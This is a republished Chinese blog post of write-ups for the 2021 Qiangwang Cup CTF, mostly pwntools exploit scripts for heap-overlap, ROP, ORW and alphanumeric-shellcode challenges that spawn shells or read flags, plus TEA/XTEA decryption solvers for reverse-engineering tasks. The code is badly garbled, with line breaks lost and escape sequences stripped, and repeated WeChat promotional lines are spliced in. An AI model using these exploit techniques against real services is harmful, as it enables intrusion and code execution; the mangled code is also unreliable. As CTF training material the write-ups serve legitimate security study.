【2021强网杯】Write-Up真题PWN和RE部分(强推)

2023-10-07 08:50

本文主要是介绍【2021强网杯】Write-Up真题PWN和RE部分(强推),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

不得不说强网的反作弊做的真心不错 re 不一样 真心可以

话不多说,请往下看:

baby_diary

参考实现堆块复用,后面就是常规题目

EXP

# encoding:utf-8
from pwn import *
libc=ELF('./libc-2.31.so')def add(size,data='a'):p.recvuntil('>> ')p.sendline('1')p.recvuntil('ize: ')p.sendline(str(size))p.recvuntil('content: ')p.sendline(str(data))
def show(id):p.recvuntil('>> ')p.sendline('2')p.recvuntil('dex: ')p.sendline(str(id))
def delete(id):p.recvuntil('>> ')p.sendline('3')p.recvuntil('dex: ')p.sendline(str(id))while True:try:p=remote('8.140.114.72',1399)# p=process('./pwn')for i in range(8):add(0x1f)for i in range(7):add(0x7f)add(26639)add(0x1f)add(0x720-1) add(0x70-1) add(0x7f) delete(17)add(0x1010-1) delete(20)add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))for i in range(7):delete(i)for i in range(7):add(0x20)add(0x1f,'x60') for i in range(7):delete(i+8)delete(19)delete(21)add(0x1018) for i in range(7):add(0x80)add(0x80,p64(0)+'x60') delete(22)add(0x147,'x00'*0x140+p64(0)) delete(21)add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00')) delete(23)add(0xa0-1) show(21)p.recvuntil("content: ")leak_addr=u64(p.recv(6).ljust(8,'x00'))libcbase=leak_addr-0x1ebbe0system_addr=libcbase+libc.sym['system']free_addr=libcbase+libc.sym['__free_hook']delete(16)add(0x1f,p64(0)+p64(0x31))delete(22)delete(16)add(0x1f,'a'*0x10+p64(free_addr))add(0x1f,'/bin/shx00')add(0x1f,p64(system_addr))delete(22)p.interactive()except Exception as e:pass   +vx:mengmengji08免费获取更多资料

[强网先锋]orw

from pwn import*
import pwn
content.log_level='debug'def add(id,size,content):p.recvuntil('choice >>n')p.sendline('1')p.recvuntil('ndex:n')p.sendline(str(id))p.recvuntil('size:n')p.sendline(str(size))p.recvuntil('content:n')p.send(str(content))def delete(id):p.recvuntil('choice >>n')p.sendline('4')p.recvuntil('ndex:n')p.sendline(str(id))shellcode='''
mov r8, rdi
xor rsi,rsi
mov rdi ,r8
mov rax, 2
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi,r8
mov rdx, 0x30
mov rax, 1
syscall
'''
payload=pwn.asm(shellcode)
add(0,8,'./flagx00'+'n')
add(-25,'a',payload+'n')delete(0)
p.interactive()+vx:mengmengji08免费获取更多资料

[强网先锋]no_output

漏洞

2021 强网杯 Write-Up (PWN和RE部分)")

存在栈溢出:

思路

远程存在 real_flag.txt 读入后 unk_804C080 是 0x3

2021 强网杯(PWN和RE部分)")

read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内

2021 强网杯 Write-Up (PWN和RE部分)")

输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被** 0 ****除以。****2 的补码 INT_MIN/-1 **除法陷阱也行:

-2147483648/-1

2021 强网杯 Write-Up (PWN和RE部分)")

产生错误之后跳转运行栈溢出函数

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']# p = process("./test")
p = remote("39.105.138.97",1234)
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf = ELF("./test")# gdb.attach(p,"b *0x80494c0")
# gdb.attach(p,"b *0x080492E2")
# gdb.attach(p,"b *0x0804925B")
# raw_input()p.send('x00'*2)
sleep(0.1)
p.send('./flag'.rjust(0x20,'a'))
sleep(0.2)
p.sendline("hello_boy")
sleep(0.2)
p.sendline("-2147483648")
sleep(0.2)
p.sendline("-1")bss = 0x0804c07c-2payload = 'a'*0x48+'b'*0x4
# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)
payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)
# payload += p32(0x0804944B)
p.sendline(payload)# gdb.attach(p,"b *0x080492E2")
# raw_input()
# p.send("./flagx00")
p.send('x30xfe')
sleep(0.2)
flag = p.recv(timeout=1)
print flag
# if '{' not in flag:
#     p.close()
#     return 0
p.interactive()+vx:mengmengji08免费获取更多资料

babypwn

offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用

EXP

from pwn import*
# context.log_level='debbug'
elf=ELF('babypwn')
libc=ELF('./libc.so.6')
p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./babypwn')
def add(size):p.recvuntil('>>> n')p.sendline('1')p.recvuntil('size:')p.sendline(str(size))def edit(id,content):p.recvuntil('>>> n')p.sendline('3')p.recvuntil('index:')p.sendline(str(id))p.recvuntil('content:')p.send(str(content))
def delete(id):p.recvuntil('>>> n')p.sendline('2')p.recvuntil('index:')p.sendline(str(id))
def show(id):p.recvuntil('>>> n')p.sendline('4')p.recvuntil('index:')p.sendline(str(id))add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)for i in range(9,3,-3):delete(i)
for i in range(7):delete(10+i)delete(1)
delete(0)add(0x108)
edit(2,'b'*0xf0+p64(0)+p64(0x21))
edit(3,(p64(0)+p64(0x21))*7)
edit(0,'b'*0x108)
edit(0,'b'*0x100+p64(0x220))delete(3)
delete(2)add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)add(0x200)
add(0x100)
delete(6)
delete(5)
delete(3)
delete(0)edit(8,'a'*0x108+p64(0x110)+'x18x80')
edit(9,p64(0)+'x60xe7')
add(0x100)
add(0x100)
add(0x100)
payload=p64(0xfbad1887)+p64(0)*3+'x00'
edit(5,payload)
p.recvuntil('x00'*8)
lead_addr=u64(p.recv(8))
libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)
delete(4)
delete(1)
delete(0)free_addr=libc_base+libc.sym['__free_hook']
edit(8,'a'*0x108+p64(0x110)+p64(free_addr))add(0x100)
add(0x100)
add(0x100)gadget=libc_base+0x520A5
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
flag=free_addr+0xb0
add=free_addrpayload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')# gdb.attach(p)
# raw_input()
delete(1)p.interactive()+vx:mengmengji08免费获取更多资料

[强网先锋]shellcode

写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。

参考码农庄园、shellcode艺术、实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符

EXP

# encoding:utf-8
from pwn import *
from ae64 import AE64
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']file = context.binary = './shellcode'
obj = AE64()append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax/* read(fp,buf,0x70) */
/*mov eax,3*/
/*push 0x70*/
/*push ebx*/
/*push 3*/
/*int 0x80*/
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall'''
shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdipush 0x7e /*set rsi*/
pop rsipush 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdxpush 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8push rax /*set r9*/
pop r9/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],clpush 0x22 /*set rcx*/
/*pop rcx*/
pop r10push 0x40/*set rax*/
pop rax
xor al,0x49
syscall
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
syscall
'''shellcode_retfq = '''
push rbx
pop raxxor al,0x40push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
retfq
'''shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += appendshellcode += shellcode_retfq
shellcode += appendsc = obj.encode(asm(shellcode),'rbx')
#p=process(file)# gdb.attach(p,"b *0x40026D")
# gdb.attach(p,"b *0x7ffff7ff9102")
# raw_input()# p.send(sc)
# pause()
# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)
# print p.recv()
# p.interactive()def pwn(p, index, ch):#gdb.attach(p,"b *0x40026D")#pause()p.send(sc)shellcode=''if index == 0:shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)else:shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))#print p.recv()#p.interactive()
index = 0
a = []while True:for ch in range(20, 127):p = remote('39.105.137.118','50050')# p=process(file)pwn(p, index, ch)start = time.time()try:p.recv(timeout=2)except:passend = time.time()p.close()if end-start > 1.5:a.append(ch)print("".join([chr(i) for i in a]))breakelse:print("".join([chr(i) for i in a]))breakindex = index + 1print("".join([chr(i) for i in a]))+vx:mengmengji08免费获取更多资料

ezmath

import codecs
t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,0.00008468431512187874]
div = 2.718281828459045
def c(n):t_int = int(div // n)print(hex(t_int))if abs(t_int * n - div) < abs((t_int - 1) * n - div):t_int -=1t_hex = hex(t_int)[2:]t_chr = codecs.decode(t_hex,'hex')return t_chr[::-1].decode()for i in t:print(c(i),end='n')

LongTimeAgo

def xt_dec(num, enc, k):value0 = enc[0]value1 = enc[1]data = 0x70C88617sum = 0xE6EF3D20for i in range(num):value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3])value1 &= 0xffffffffsum += datavalue0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3])value0 &= 0xffffffffreturn (value0, value1)
def t_dec(enc, k):value0 = enc[0]value1 = enc[1]sum = 0xa6a53780data = 0x3D3529BCfor i in range(32):value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3])value1 &= 0xffffffffvalue0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1])value0 &= 0xffffffffsum -= datareturn (value0, value1)
encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):encode[i] ^= 0xfdencode[i + 1] ^= 0x1fd
for i in range(4, 8, 2):encode[i] ^= 0x3fdencode[i + 1] ^= 0x7fd
k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]
result = ''
for i in range(0, 4, 2):a = xt_dec(32, encode[i:], k)result += hex(a[0])[2:] + hex(a[1])[2:]
for i in range(4, 8, 2):a = t_dec(encode[i:], k)result += hex(a[0])[2:] + hex(a[1])[2:]
print("QWB{" + result.upper() + "}")+vx:mengmengji08免费获取更多资料

##总结:

看到这里的大佬,动动你们发财的小手三连一波~

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些干货贡献给大家,回馈每一个读者,希望能帮到你们。

  • 网络安全面试题(干货多多!!)
  • SRC技术文档
  • 渗透测试推荐书单
  • 工具包

以上全部资料》点我获取《

最后,祝大家事业有成,早日成为技术大佬~

这篇关于【2021强网杯】Write-Up真题PWN和RE部分(强推)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/157326

相关文章

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

笔记整理—内核!启动!—kernel部分(2)从汇编阶段到start_kernel

kernel起始与ENTRY(stext),和uboot一样,都是从汇编阶段开始的,因为对于kernel而言,还没进行栈的维护,所以无法使用c语言。_HEAD定义了后面代码属于段名为.head .text的段。         内核起始部分代码被解压代码调用,前面关于uboot的文章中有提到过(eg:zImage)。uboot启动是无条件的,只要代码的位置对,上电就工作,kern

项目实战系列三: 家居购项目 第四部分

购物车 🌳购物车🍆显示购物车🍆更改商品数量🍆清空购物车&&删除商品 🌳生成订单 🌳购物车 需求分析 1.会员登陆后, 可以添加家居到购物车 2.完成购物车的设计和实现 3.每添加一个家居,购物车的数量+1, 并显示 程序框架图 1.新建src/com/zzw/furns/entity/CartItem.java, CartItem-家居项模型 /***

华为OD机试真题-学生方阵-2024年OD统一考试(E卷)

题目描述 学校组织活动,将学生排成一个矩形方阵。 请在矩形方阵中找到最大的位置相连的男生数量。这个相连位置在一个直线上,方向可以是水平的,垂直的,成对角线的或者呈反对角线的。 注:学生个数不会超过10000 输入描述 输入的第一行为矩阵的行数和列数, 接下来的 n行为矩阵元素,元素间用""分隔。 输出描述 输出一个整数,表示矩阵中最长的位

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

码蹄集部分题目(2024OJ赛9.4-9.8;线段树+树状数组)

1🐋🐋配对最小值(王者;树状数组) 时间限制:1秒 占用内存:64M 🐟题目思路 MT3065 配对最小值_哔哩哔哩_bilibili 🐟代码 #include<bits/stdc++.h> using namespace std;const int N=1e5+7;int a[N],b[N],c[N],n,q;struct QUERY{int l,r,id;}que

2024年AMC10美国数学竞赛倒计时两个月:吃透1250道真题和知识点(持续)

根据通知,2024年AMC10美国数学竞赛的报名还有两周,正式比赛还有两个月就要开始了。计划参赛的孩子们要记好时间,认真备考,最后冲刺再提高成绩。 那么如何备考2024年AMC10美国数学竞赛呢?做真题,吃透真题和背后的知识点是备考AMC8、AMC10有效的方法之一。通过做真题,可以帮助孩子找到真实竞赛的感觉,而且更加贴近比赛的内容,可以通过真题查漏补缺,更有针对性的补齐知识的短板。

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build